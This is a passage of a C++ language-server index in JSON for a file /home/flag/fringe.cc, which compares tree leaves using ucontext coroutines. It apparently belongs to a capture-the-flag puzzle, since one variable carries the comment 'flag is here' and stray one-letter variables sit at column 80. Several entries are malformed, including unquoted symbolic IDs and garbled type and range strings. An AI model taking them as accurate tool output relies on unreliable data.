"spell":"29:27-29:28|func_dfs|3|514", "extent":"29:17-29:28|func_dfs|3|0", "type":type_treenode, "uses":[ "30:8-30:9|func_dfs|3|12", "31:8-31:9|func_dfs|3|12", "31:20-31:21|func_dfs|3|12", "31:39-31:40|func_dfs|3|12", "32:10-32:11|func_dfs|3|12", "33:10-33:11|func_dfs|3|12" ], "kind":253, "storage":0 }, { "usr":treenode_14, "detailed_name":"std::TreeNode *tx", "qual_name_offset":15, "short_name_offset":15, "short_name_size":2, "hover":"std::TreeNode *tx = nullptr", "comments":"", "declarations":[ ], "spell":"59:13-59:15|func_main|3|2", "extent":"59:3-59:25|func_main|3|0", "type":type_treenode, "uses":[ "60:29-60:31|func_main|3|132" ], "kind":13, "storage":0 }, { "usr":void_func_f, "detailed_name":"void (*f)(std::Co *, std::TreeNode *)", "qual_name_offset":7, "short_name_offset":7, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"16:31-16:32|func_co_constructor|3|514", "extent":"16:24-16:51|func_co_constructor|3|0", "type":0, "uses":[ ], "kind":253, "storage":0 }, { "usr":treenode_9, "detailed_name":"std::TreeNode **x", "qual_name_offset":16, "short_name_offset":16, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"49:24-49:25|func_insert|3|514", "extent":"49:13-49:25|func_insert|3|0", "type":type_treenode, "uses":[ "50:11-50:12|func_insert|3|12", "51:5-51:6|func_insert|3|20", "51:19-51:20|func_insert|3|12", "51:32-51:33|func_insert|3|12", "51:46-51:47|func_insert|3|12", "52:4-52:5|func_insert|3|12" ], "kind":253, "storage":0 }, { "usr":14097758609443653436, "detailed_name":"int w", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"29:80-29:81|func_dfs|3|2", "extent":"29:76-29:81|func_dfs|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_val, "detailed_name":"int std::TreeNode::val", "qual_name_offset":4, "short_name_offset":19, "short_name_size":3, "hover":"", "comments":"", "declarations":[ ], "spell":"7:7-7:10|type_treenode|2|514", "extent":"7:3-7:10|type_treenode|2|0", "type":52, "uses":[ "44:42-44:45|func_leafsimilar|3|12", "44:57-44:60|func_leafsimilar|3|12", "51:11-51:14|func_insert|3|12", "51:23-51:26|func_insert|3|12" ], "kind":8, "storage":0 }, { "usr":solution_1, "detailed_name":"std::Solution s", "qual_name_offset":0, "short_name_offset":0, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"63:12-63:13|func_main|3|2", "extent":"63:3-63:13|func_main|3|0", "type":class_solution, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_15, "detailed_name":"std::TreeNode *ty", "qual_name_offset":15, "short_name_offset":15, "short_name_size":2, "hover":"std::TreeNode *ty = nullptr", "comments":"", "declarations":[ ], "spell":"59:28-59:30|func_main|3|2", "extent":"59:3-59:40|func_main|3|0", "type":type_treenode, "uses":[ "61:29-61:31|func_main|3|132" ], "kind":13, "storage":0 }, { "usr":16409791255353764606, "detailed_name":"int e", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"18:80-18:81|func_co_constructor|3|2", "extent":"18:76-18:81|func_co_constructor|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_2, "detailed_name":"std::TreeNode *std::TreeNode::right", "qual_name_offset":15, "short_name_offset":30, "short_name_size":5, "hover":"", "comments":"", "declarations":[ ], "spell":"9:13-9:18|type_treenode|2|514", "extent":"9:3-9:18|type_treenode|2|0", "type":type_treenode, "uses":[ "31:23-31:28|func_dfs|3|12", "33:13-33:18|func_dfs|3|12", "51:50-51:55|func_insert|3|132" ], "kind":8, "storage":0 } ] } { "last_write_time":1532281822000000000, "language":2, "lid2path":[ ], "import_file":"/home/flag/fringe.cc", "args":[ "%clang", "/home/flag/fringe.cc" ], "dependencies":[ "/usr/include/c++/8.1.1/ext/atomicity.h", "/usr/include/asm-generic/errno.h", "/usr/include/bits/types/__FILE.h", "/usr/include/c++/8.1.1/system_error", "/usr/include/errno.h", "/usr/include/sys/ucontext.h", "/usr/include/c++/8.1.1/bits/stl_pair.h", "/usr/include/sys/select.h", "/usr/include/c++/8.1.1/cwchar", "/usr/include/c++/8.1.1/type_traits", "/usr/include/bits/locale.h", "/usr/include/bits/libio.h", "/usr/include/c++/8.1.1/debug/assertions.h", "/usr/include/bits/setjmp.h", "/usr/include/c++/8.1.1/bits/stl_bvector.h", "/usr/include/c++/8.1.1/bits/hash_bytes.h", "/usr/include/bits/types/timer_t.h", "/usr/include/c++/8.1.1/bits/exception_defines.h", "/usr/include/bits/_G_config.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/os_defines.h", "/usr/include/bits/thread-shared-types.h", "/usr/include/c++/8.1.1/backward/binders.h", "/usr/include/c++/8.1.1/iosfwd", "/usr/include/bits/types/struct_timespec.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/ctype_inline.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/gthr-default.h", "/usr/include/pthread.h", "/usr/include/c++/8.1.1/bits/cpp_type_traits.h", "/usr/include/c++/8.1.1/bits/streambuf.tcc", "/usr/include/bits/libc-header-start.h", "/usr/include/c++/8.1.1/string", "/usr/include/c++/8.1.1/bits/cxxabi_init_exception.h", "/usr/include/bits/typesizes.h", "/usr/include/c++/8.1.1/ostream", "/usr/include/c++/8.1.1/bits/vector.tcc", "/usr/include/sys/cdefs.h", "/usr/include/c++/8.1.1/bits/istream.tcc", "/usr/include/c++/8.1.1/initializer_list", "/usr/include/c++/8.1.1/ext/new_allocator.h", "/usr/include/bits/wordsize.h", "/usr/include/c++/8.1.1/bits/stl_uninitialized.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/c++allocator.h", "/usr/include/bits/types/struct_timeval.h", "/usr/include/bits/cpu-set.h", "/usr/include/bits/waitflags.h", "/usr/include/c++/8.1.1/bits/functional_hash.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/cpu_defines.h", "/usr/include/c++/8.1.1/bits/stl_function.h", "/usr/include/bits/stdlib-float.h", "/usr/include/linux/errno.h", "/usr/include/bits/sched.h", "/usr/include/bits/types/struct_tm.h", "/usr/include/c++/8.1.1/ext/type_traits.h", "/usr/include/c++/8.1.1/bits/range_access.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/c++config.h", "/usr/include/c++/8.1.1/bits/alloc_traits.h", "/usr/include/time.h", "/usr/include/c++/8.1.1/bits/stl_vector.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/error_constants.h", "/usr/include/bits/wchar.h", "/usr/include/c++/8.1.1/bits/stl_iterator_base_types.h", "/usr/include/c++/8.1.1/bits/ptr_traits.h", "/usr/include/c++/8.1.1/bits/stl_algobase.h", "/usr/include/c++/8.1.1/streambuf", "/usr/include/c++/8.1.1/new", "/usr/include/c++/8.1.1/ios", "/usr/include/sys/types.h", "/usr/include/bits/types/clock_t.h", "/usr/include/bits/floatn.h", "/usr/include/bits/sysmacros.h", "/usr/include/bits/errno.h", "/usr/include/bits/timex.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/c++locale.h", "/usr/include/c++/8.1.1/debug/debug.h", "/usr/include/gnu/stubs.h", "/usr/include/bits/stdio_lim.h", "/usr/include/bits/byteswap.h", "/usr/include/endian.h", "/usr/include/c++/8.1.1/ext/numeric_traits.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/atomic_word.h", "/usr/include/c++/8.1.1/bits/basic_string.tcc", "/usr/include/c++/8.1.1/iostream", "/usr/include/wctype.h", "/usr/include/c++/8.1.1/cstdio", "/usr/include/c++/8.1.1/bits/localefwd.h", "/usr/include/c++/8.1.1/bits/cxxabi_forced.h", "/usr/include/c++/8.1.1/bits/streambuf_iterator.h", "/usr/include/c++/8.1.1/bits/char_traits.h", "/usr/include/c++/8.1.1/bits/stl_iterator_base_funcs.h", "/usr/include/bits/byteswap-16.h", "/usr/include/ctype.h", "/usr/include/c++/8.1.1/bits/basic_string.h", "/usr/include/bits/types/locale_t.h", "/usr/include/asm-generic/errno-base.h", "/usr/include/c++/8.1.1/bits/move.h", "/usr/include/c++/8.1.1/cstdint", "/usr/include/locale.h", "/usr/include/sys/sysmacros.h", "/usr/include/c++/8.1.1/bits/ios_base.h", "/usr/include/c++/8.1.1/bits/locale_facets.h", "/usr/include/c++/8.1.1/bits/postypes.h", "/usr/include/bits/time.h", "/usr/include/bits/types/wint_t.h", "/usr/include/c++/8.1.1/cstdlib", "/usr/include/c++/8.1.1/ext/string_conversions.h", "/usr/include/c++/8.1.1/cctype", "/usr/include/bits/wctype-wchar.h", "/usr/include/gnu/stubs-64.h", "/usr/include/bits/uintn-identity.h", "/usr/include/bits/types/sigset_t.h", "/usr/include/bits/pthreadtypes-arch.h", "/usr/include/c++/8.1.1/bits/stl_iterator.h", "/usr/include/c++/8.1.1/bits/locale_classes.h", "/usr/include/c++/8.1.1/istream", "/usr/include/bits/types/__locale_t.h", "/usr/include/stdint.h", "/usr/include/asm/errno.h", "/usr/include/c++/8.1.1/bits/functexcept.h", "/usr/include/bits/types.h", "/usr/include/ucontext.h", "/usr/include/bits/floatn-common.h", "/usr/include/c++/8.1.1/bits/ostream.tcc", "/usr/include/bits/stdint-intn.h", "/usr/include/bits/types/struct_itimerspec.h", "/usr/include/c++/8.1.1/bits/nested_exception.h", "/usr/include/features.h", "/usr/include/bits/select.h", "/usr/include/stdlib.h", "/usr/include/bits/pthreadtypes.h", "/usr/include/c++/8.1.1/bits/locale_facets.tcc", "/usr/include/bits/types/__mbstate_t.h", "/usr/include/c++/8.1.1/bits/stringfwd.h", "/usr/include/bits/types/__sigset_t.h", "/usr/include/c++/8.1.1/exception", "/usr/include/bits/types/time_t.h", "/usr/include/c++/8.1.1/typeinfo", "/usr/include/c++/8.1.1/stdexcept", "/usr/include/c++/8.1.1/vector", "/usr/include/c++/8.1.1/bits/std_abs.h", "/usr/include/c++/8.1.1/ext/alloc_traits.h", "/usr/include/stdc-predef.h", "/usr/include/bits/stdint-uintn.h", "/usr/include/bits/types/clockid_t.h", "/usr/include/c++/8.1.1/bits/predefined_ops.h", "/usr/include/c++/8.1.1/cwctype", "/usr/include/c++/8.1.1/bits/concept_check.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/ctype_base.h", "/usr/include/c++/8.1.1/bits/exception.h", "/usr/include/c++/8.1.1/bits/locale_classes.tcc", "/usr/include/c++/8.1.1/cerrno", "/usr/include/stdio.h", "/usr/include/bits/sys_errlist.h", "/usr/include/c++/8.1.1/bits/stl_construct.h", "/usr/include/bits/types/FILE.h", "/usr/include/sched.h", "/usr/include/c++/8.1.1/bits/memoryfwd.h", "/usr/include/bits/types/mbstate_t.h", "/usr/include/c++/8.1.1/clocale", "/usr/include/alloca.h", "/usr/include/c++/8.1.1/bits/basic_ios.tcc", "/usr/include/bits/types/stack_t.h", "/usr/include/c++/8.1.1/bits/allocator.h", "/usr/include/bits/endian.h", "/usr/include/c++/8.1.1/bits/exception_ptr.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/gthr.h", "/usr/include/wchar.h", "/usr/include/bits/waitstatus.h", "/usr/include/c++/8.1.1/bits/basic_ios.h", "/usr/include/c++/8.1.1/bits/ostream_insert.h" ], "includes":[ { "line":0, "resolved_path":"/usr/include/c++/8.1.1/iostream" }, { "line":1, "resolved_path":"/usr/include/c++/8.1.1/vector" }, { "line":2, "resolved_path":"/usr/include/ucontext.h" } ], "skipped_ranges":[ ], "usr2func":[ { "usr":func_leafsimilar, "detailed_name":"bool std::Solution::leafSimilar(std::TreeNode *root1, std::TreeNode *root2)", "qual_name_offset":5, "short_name_offset":20, "short_name_size":11, "kind":6, "storage":0, "hover":"", "comments":"", "declarations":[ ], "spell":"38:8-38:19|class_solution|2|514", "extent":"38:3-46:4|class_solution|2|0", "bases":[ ], "derived":[ ], "vars":[ treenode_7, treenode_8, int_i2, ucontext_2, int_n, co_2, co_3, int_h2, int_k ], "uses":[ ], "callees":[ "40:8-40:10|func_co_constructor|3|8484", "40:15-40:18|func_dfs|3|4", "40:8-40:10|func_co_constructor|3|8484", "40:15-40:18|func_dfs|3|4" ] }, { "usr":func_co_constructor, "detailed_name":"std::Co::Co(std::ucontext_t *link, void (*f)(std::Co *, std::TreeNode *), std::TreeNode *root)", "qual_name_offset":0, "short_name_offset":9, "short_name_size":2, "kind":9, "storage":0, "hover":"", "comments":"", "declarations":[ ], "spell":"16:3-16:5|type_co|2|514", "extent":"16:3-22:4|type_co|2|0", "bases":[ ], "derived":[ ], "vars":[ ucontext_1, void_func_f, treenode_4, int_b, int_l, 16409791255353764606, int_s, int_ss ], "uses":[ "40:8-40:10|func_leafsimilar|3|8484" ], "callees":[ ] }, { "usr":func_co_yield, "detailed_name":"void std::Co::yield(std::TreeNode *x)", "qual_name_offset":5, "short_name_offset":14, "short_name_size":5, "kind":6, "storage":0, "hover":"", "comments":"", "declarations":[ ], "spell":"23:8-23:13|type_co|2|514", "extent":"23:3-26:4|type_co|2|0", "bases":[ ], "derived":[ ], "vars":[ treenode_5, int_w, int_o, int_d ], "uses":[ "31:33-31:38|func_dfs|3|8228" ], "callees":[ ] }, { "usr":func_dfs, "detailed_name":"void std::dfs(std::Co *c, std::TreeNode *x)", "qual_name_offset":5, "short_name_offset":10, "short_name_size":3, "kind":12, "storage":0, "hover":"", "comments":"", "declarations":[ ], "spell":"29:6-29:9|namespace_std|2|514", "extent":"29:1-34:2|namespace_std|2|0", "bases":[ ], "derived":[ ], "vars":[ co_1, treenode_6, 14097758609443653436, int_h, int_oo, int_i, int_sss ], "uses":[ "32:3-32:6|func_dfs|3|8228", "33:3-33:6|func_dfs|3|8228", "40:15-40:18|func_leafsimilar|3|4" ], "callees":[ "31:33-31:38|func_co_yield|3|8228", "32:3-32:6|func_dfs|3|8228", "33:3-33:6|func_dfs|3|8228" ] }, { "usr":func_main, "detailed_name":"int std::main()", "qual_name_offset":4, "short_name_offset":9, "short_name_size":4, "kind":12, "storage":0, "hover":"", "comments":"", "declarations":[ ], "spell":"55:5-55:9|namespace_std|2|514", "extent":"55:1-66:2|namespace_std|2|0", "bases":[ ], "derived":[ ], "vars":[ treenode_11, treenode_12, treenode_13, treenode_14, treenode_15, treenode_16, treenode_17, treenode_18, treenode_19, solution_1 ], "uses":[ ], "callees":[ "60:21-60:27|func_insert|3|8228", "61:21-61:27|func_insert|3|8228", "62:21-62:27|func_insert|3|8228" ] }, { "usr":func_insert, "detailed_name":"void std::insert(std::TreeNode **x, std::TreeNode &y)", "qual_name_offset":5, "short_name_offset":10, "short_name_size":6, "kind":12, "storage":0, "hover":"", "comments":"", "declarations":[ ], "spell":"49:6-49:12|namespace_std|2|514", "extent":"49:1-53:2|namespace_std|2|0", "bases":[ ], "derived":[ ], "vars":[ treenode_9, treenode_10 ], "uses":[ "60:21-60:27|func_main|3|8228", "61:21-61:27|func_main|3|8228", "62:21-62:27|func_main|3|8228" ], "callees":[ ] } ], "usr2type":[ { "usr":52, "detailed_name":"", "qual_name_offset":0, "short_name_offset":0, "short_name_size":0, "kind":0, "hover":"", "comments":"", "declarations":[ ], "alias_of":0, "bases":[ ], "derived":[ ], "types":[ ], "funcs":[ ], "vars":[ ], "instances":[ treenode_val, int_b, int_l, 16409791255353764606, int_s, int_ss, int_w, int_o, int_d, 14097758609443653436, int_h, int_oo, int_i, int_sss, int_i2, int_n, int_h2, int_k ], "uses":[ ] }, { "usr":class_solution, "detailed_name":"class std::Solution {}", "qual_name_offset":6, "short_name_offset":11, "short_name_size":8, "kind":5, "hover":"", "comments":"", "declarations":[ ], "spell":"36:7-36:15|namespace_std|2|514", "extent":"36:1-47:2|namespace_std|2|0", "alias_of":0, "bases":[ ], "derived":[ ], "types":[ ], "funcs":[ func_leafsimilar ], "vars":[ ], "instances":[ solution_1 ], "uses":[ "63:3-63:11|func_main|3|4" ] }, { "usr":namespace_std, "detailed_name":"namespace std {\n}", "qual_name_offset":10, "short_name_offset":10, "short_name_size":3, "kind":3, "hover":"", "comments":"", "declarations":[ ], "alias_of":0, "bases":[ ], "derived":[ ], "types":[ type_treenode, type_co, class_solution ], "funcs":[ func_dfs, func_insert, func_main ], "vars":[ ], "instances":[ ], "uses":[ "4:17-4:20|namespace_std|2|4" ] }, { "usr":type_co, "detailed_name":"struct std::Co {}", "qual_name_offset":7, "short_name_offset":12, "short_name_size":2, "kind":23, "hover":"", "comments":"", "declarations":[ ], "spell":"12:8-12:10|namespace_std|2|514", "extent":"12:1-27:2|namespace_std|2|0", "alias_of":0, "bases":[ ], "derived":[ ], "types":[ ], "funcs":[ func_co_constructor, func_co_yield ], "vars":[ { "L":context_t_c, "R":0 }, { "L":co_stack, "R":8 }, { "L":treenode_3, "R":65600 } ], "instances":[ co_1, co_2, co_3 ], "uses":[ "16:34-16:36|type_co|2|4", "16:3-16:5|type_co|2|4", "29:10-29:12|namespace_std|2|4", "40:5-40:7|func_leafsimilar|3|4" ] }, { "usr":type_ucontext, "detailed_name":"struct std::ucontext_t {}", "qual_name_offset":7, "short_name_offset":12, "short_name_size":10, "kind":23, "hover":"", "comments":"", "declarations":[ ], "alias_of":0, "bases":[ ], "derived":[ ], "types":[ ], "funcs":[ ], "vars":[ ], "instances":[ ucontext_1, ucontext_2 ], "uses":[ "13:3-13:13|type_co|2|4", "16:6-16:16|type_co|2|4", "39:5-39:15|func_leafsimilar|3|4" ] }, { "usr":type_treenode, "detailed_name":"struct std::TreeNode {}", "qual_name_offset":7, "short_name_offset":12, "short_name_size":8, "kind":23, "hover":"", "comments":"", "declarations":[ ], "spell":"6:8-6:16|namespace_std|2|514", "extent":"6:1-10:2|namespace_std|2|0", "alias_of":0, "bases":[ ], "derived":[ ], "types":[ ], "funcs":[ ], "vars":[ { "L":treenode_val, "R":0 }, { "L":treenode_1, "R":64 }, { "L":treenode_2, "R":128 } ], "instances":[ treenode_1, treenode_2, treenode_3, treenode_4, treenode_5, treenode_6, treenode_7, treenode_8, treenode_9, treenode_10, treenode_11, treenode_12, treenode_13, treenode_14, treenode_15, treenode_16, treenode_17, treenode_18, treenode_19 ], "uses":[ "8:3-8:11|type_treenode|2|4", "9:3-9:11|type_treenode|2|4", "15:3-15:11|type_co|2|4", "1 40-16:48|type_co|2|4", "16:53-16:61|type_co|2|4", "23:14-23:22|type_co|2|4", "29:17-29:25|namespace_std|2|4", "38:20-38:28|class_solution|2|4", "38:37-38:45|class_solution|2|4", "49:13-49:21|namespace_std|2|4", "49:27-49:35|namespace_std|2|4", "56:3-56:11|func_main|3|4", "57:3-57:11|func_main|3|4", "58:3-58:11|func_main|3|4", "59:3-59:11|func_main|3|4" ] } ], "usr2var":[ { "usr":int_k, "detailed_name":"int k", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"41:80-41:81|func_leafsimilar|3|2", "extent":"41:76-41:81|func_leafsimilar|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":ucontext_1, "detailed_name":"std::ucontext_t *link", "qual_name_offset":17, "short_name_offset":17, "short_name_size":4, "hover":"", "comments":"", "declarations":[ ], "spell":"16:18-16:22|func_co_constructor|3|514", "extent":"16:6-16:22|func_co_constructor|3|0", "type":type_ucontext, "uses":[ ], "kind":253, "storage":0 }, { "usr":int_i, "detailed_name":"int i", "qual_name_offset":0, "short_name_offset":0, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"32:80-32:81|func_dfs|3|2", "extent":"32:76-32:81|func_dfs|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":context_t_c, "detailed_name":"std::ustd::Co::context_t c", "qual_name_offset":0, "short_name_offset":15, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"13:14-13:15|type_co|2|514", "extent":"13:3-13:15|type_co|2|0", "type":0, "uses":[ ], "kind":8, "storage":0 }, { "usr":treenode_13, "detailed_name":"std::TreeNode zs[]", "qual_name_offset":14, "short_name_offset":14, "short_name_size":2, "hover":"std::TreeNode zs[] = {{3},{1},{5},{0},{2},{6}}", "comments":"", "declarations":[ ], "spell":"58:12-58:14|func_main|3|2", "extent":"58:3-58:44|func_main|3|0", "type":type_treenode, "uses":[ "62:17-62:19|func_main|3|4" ], "kind":13, "storage":0 }, { "usr":treenode_19, "detailed_name":"std::TreeNode &z", "qual_name_offset":15, "short_name_offset":15, "short_name_size":1, "hover":"std::TreeNode &z :", "comments":"", "declarations":[ ], "spell":"62:14-62:15|func_main|3|2", "extent":"62:8-62:16|func_main|3|0", "type":type_treenode, "uses":[ "62:33-62:34|func_main|3|4" ], "kind":13, "storage":0 }, { "usr":int_w, "detailed_name":"int w", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"23:80-23:81|func_co_yield|3|2", "extent":"23:76-23:81|func_co_yield|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_7, "detailed_name":"std::TreeNode *root1", "qual_name_offset":15, "short_name_offset":15, "short_name_size":5, "hover":"", "comments":"", "declarations":[ ], "spell":"38:30-38:35|func_leafsimilar|3|514", "extent":"38:20-38:35|func_leafsimilar|3|0", "type":type_treenode, "uses":[ ], "kind":253, "storage":0 }, { "usr":treenode_5, "detailed_name":"std::TreeNode *x", "qual_name_offset":15, "short_name_offset":15, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"23:24-23:25|func_co_yield|3|514", "extent":"23:14-23:25|func_co_yield|3|0", "type":type_treenode, "uses":[ "24:11-24:12|func_co_yield|3|12" ], "kind":253, "storage":0 }, { "usr":int_o, "detailed_name":"int o", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"24:80-24:81|func_co_yield|3|2", "extent":"24:76-24:81|func_co_yield|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":co_3, "detailed_name":"std::Co c1", "qual_name_offset":8, "short_name_offset":8, "short_name_size":2, "hover":"", "comments":"", "declarations":[ ], "spell":"40:28-40:30|func_leafsimilar|3|2", "extent":"40:5-40:30|func_leafsimilar|3|0", "type":type_co, "uses":[ "42:7-42:9|func_leafsimilar|3|4", "44:14-44:16|func_leafsimilar|3|4", "44:34-44:36|func_leafsimilar|3|4", "45:13-45:15|func_leafsimilar|3|4" ], "kind":13, "storage":0 }, { "usr":co_2, "detailed_name":"std::Co c2", "qual_name_offset":8, "short_name_offset":8, "short_name_size":2, "hover":"", "comments":"", "declarations":[ ], "spell":"40:8-40:10|func_leafsimilar|3|2", "extent":"40:5-40:26|func_leafsimilar|3|0", "type":type_co, "uses":[ "42:16-42:18|func_leafsimilar|3|4", "44:24-44:26|func_leafsimilar|3|4", "44:49-44:51|func_leafsimilar|3|4", "45:24-45:26|func_leafsimilar|3|4" ], "kind":13, "storage":0 }, { "usr":treenode_18, "detailed_name":"std::TreeNode &y", "qual_name_offset":15, "short_name_offset":15, "short_name_size":1, "hover":"std::TreeNode &y :", "comments":"", "declarations":[ ], "spell":"61:14-61:15|func_main|3|2", "extent":"61:8-61:16|func_main|3|0", "type":type_treenode, "uses":[ "61:33-61:34|func_main|3|4" ], "kind":13, "storage":0 }, { "usr":treenode_17, "detailed_name":"std::TreeNode &x", "qual_name_offset":15, "short_name_offset":15, "short_name_size":1, "hover":"std::TreeNode &x :", "comments":"", "declarations":[ ], "spell":"60:14-60:15|func_main|3|2", "extent":"60:8-60:16|func_main|3|0", "type":type_treenode, "uses":[ "60:33-60:34|func_main|3|4" ], "kind":13, "storage":0 }, { "usr":treenode_8, "detailed_name":"std::TreeNode *root2", "qual_name_offset":15, "short_name_offset":15, "short_name_size":5, "hover":"", "comments":"", "declarations":[ ], "spell":"38:47-38:52|func_leafsimilar|3|514", "extent":"38:37-38:52|func_leafsimilar|3|0", "type":type_treenode, "uses":[ "40:20-40:25|func_leafsimilar|3|12" ], "kind":253, "storage":0 }, { "usr":int_h, "detailed_name":"int h", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"30:80-30:81|func_dfs|3|2", "extent":"30:76-30:81|func_dfs|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":int_l, "detailed_name":"int l", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"17:80-17:81|func_co_constructor|3|2", "extent":"17:76-17:81|func_co_constructor|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":int_h2, "detailed_name":"int h", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"40:80-40:81|func_leafsimilar|3|2", "extent":"40:76-40:81|func_leafsimilar|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":int_s, "detailed_name":"int s", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"19:80-19:81|func_co_constructor|3|2", "extent":"19:76-19:81|func_co_constructor|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_3, "detailed_name":"std::TreeNode *std::Co::ret", "qual_name_offset":15, "short_name_offset":24, "short_name_size":3, "hover":"", "comments":"", "declarations":[ ], "spell":"15:13-15:16|type_co|2|514", "extent":"15:3-15:16|type_co|2|0", "type":type_treenode, "uses":[ "24:5-24:8|func_co_yield|3|20", "42:10-42:13|func_leafsimilar|3|20", "42:19-42:22|func_leafsimilar|3|20", "44:17-44:20|func_leafsimilar|3|12", "44:27-44:30|func_leafsimilar|3|12", "44:37-44:40|func_leafsimilar|3|12", "44:52-44:55|func_leafsimilar|3|12", "45:16-45:19|func_leafsimilar|3|12", "45:27-45:30|func_leafsimilar|3|12" ], "kind":8, "storage":0 }, { "usr":co_1, "detailed_name":"std::Co *c", "qual_name_offset":9, "short_name_offset":9, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"29:14-29:15|func_dfs|3|514", "extent":"29:10-29:15|func_dfs|3|0", "type":type_co, "uses":[ "31:30-31:31|func_dfs|3|12", "32:7-32:8|func_dfs|3|12", "33:7-33:8|func_dfs|3|12" ], "kind":253, "storage":0 }, { "usr":treenode_11, "detailed_name":"std::TreeNode xs[]", "qual_name_offset":14, "short_name_offset":14, "short_name_size":2, "hover":"std::TreeNode xs[] = {{3},{1},{5},{0},{2},{4},{6}}", "comments":"", "declarations":[ ], "spell":"56:12-56:14|func_main|3|2", "extent":"56:3-56:48|func_main|3|0", "type":type_treenode, "uses":[ "60:17-60:19|func_main|3|4" ], "kind":13, "storage":0 }, { "usr":int_b, "detailed_name":"int b", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"flag is here", "declarations":[ ], "spell":"16:80-16:81|func_co_constructor|3|2", "extent":"16:76-16:81|func_co_constructor|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":ucontext_2, "detailed_name":"std::ucontext_t c", "qual_name_offset":0, "short_name_offset":6, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"39:16-39:17|func_leafsimilar|3|2", "extent":"39:5-39:17|func_leafsimilar|3|0", "type":type_ucontext, "uses":[ "40:12-40:13|func_leafsimilar|3|132" ], "kind":13, "storage":0 }, { "usr":int_i2, "detailed_name":"int i", "qual_name_offset":0, "short_name_offset":0, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"38:80-38:81|func_leafsimilar|3|2", "extent":"38:76-38:81|func_leafsimilar|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":int_d, "detailed_name":"int d", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"25:80-25:81|func_co_yield|3|2", "extent":"25:76-25:81|func_co_yield|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_12, "detailed_name":"std::TreeNode ys[]", "qual_name_offset":14, "short_name_offset":14, "short_name_size":2, "hover":"std::TreeNode ys[] = {{5},{3},{6},{1},{4},{0},{2}}", "comments":"", "declarations":[ ], "spell":"57:12-57:14|func_main|3|2", "extent":"57:3-57:48|func_main|3|0", "type":type_treenode, "uses":[ "61:17-61:19|func_main|3|4" ], "kind":13, "storage":0 }, { "usr":treenode_10, "detailed_name":"std::TreeNode &y", "qual_name_offset":15, "short_name_offset":15, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"49:37-49:38|func_insert|3|514", "extent":"49:27-49:38|func_insert|3|0", "type":type_treenode, "uses":[ "51:9-51:10|func_insert|3|4", "52:9-52:10|func_insert|3|132" ], "kind":253, "storage":0 }, { "usr":treenode_16, "detailed_name":"std::TreeNode *tz", "qual_name_offset":15, "short_name_offset":15, "short_name_size":2, "hover":"std::TreeNode *tz = nullptr", "comments":"", "declarations":[ ], "spell":"59:43-59:45|func_main|3|2", "extent":"59:3-59:55|func_main|3|0", "type":type_treenode, "uses":[ "62:29-62:31|func_main|3|132" ], "kind":13, "storage":0 }, { "usr":int_ss, "detailed_name":"int s", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"20:80-20:81|func_co_constructor|3|2", "extent":"20:76-20:81|func_co_constructor|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_4, "detailed_name":"std::TreeNode *root", "qual_name_offset":15, "short_name_offset":15, "short_name_size":4, "hover":"", 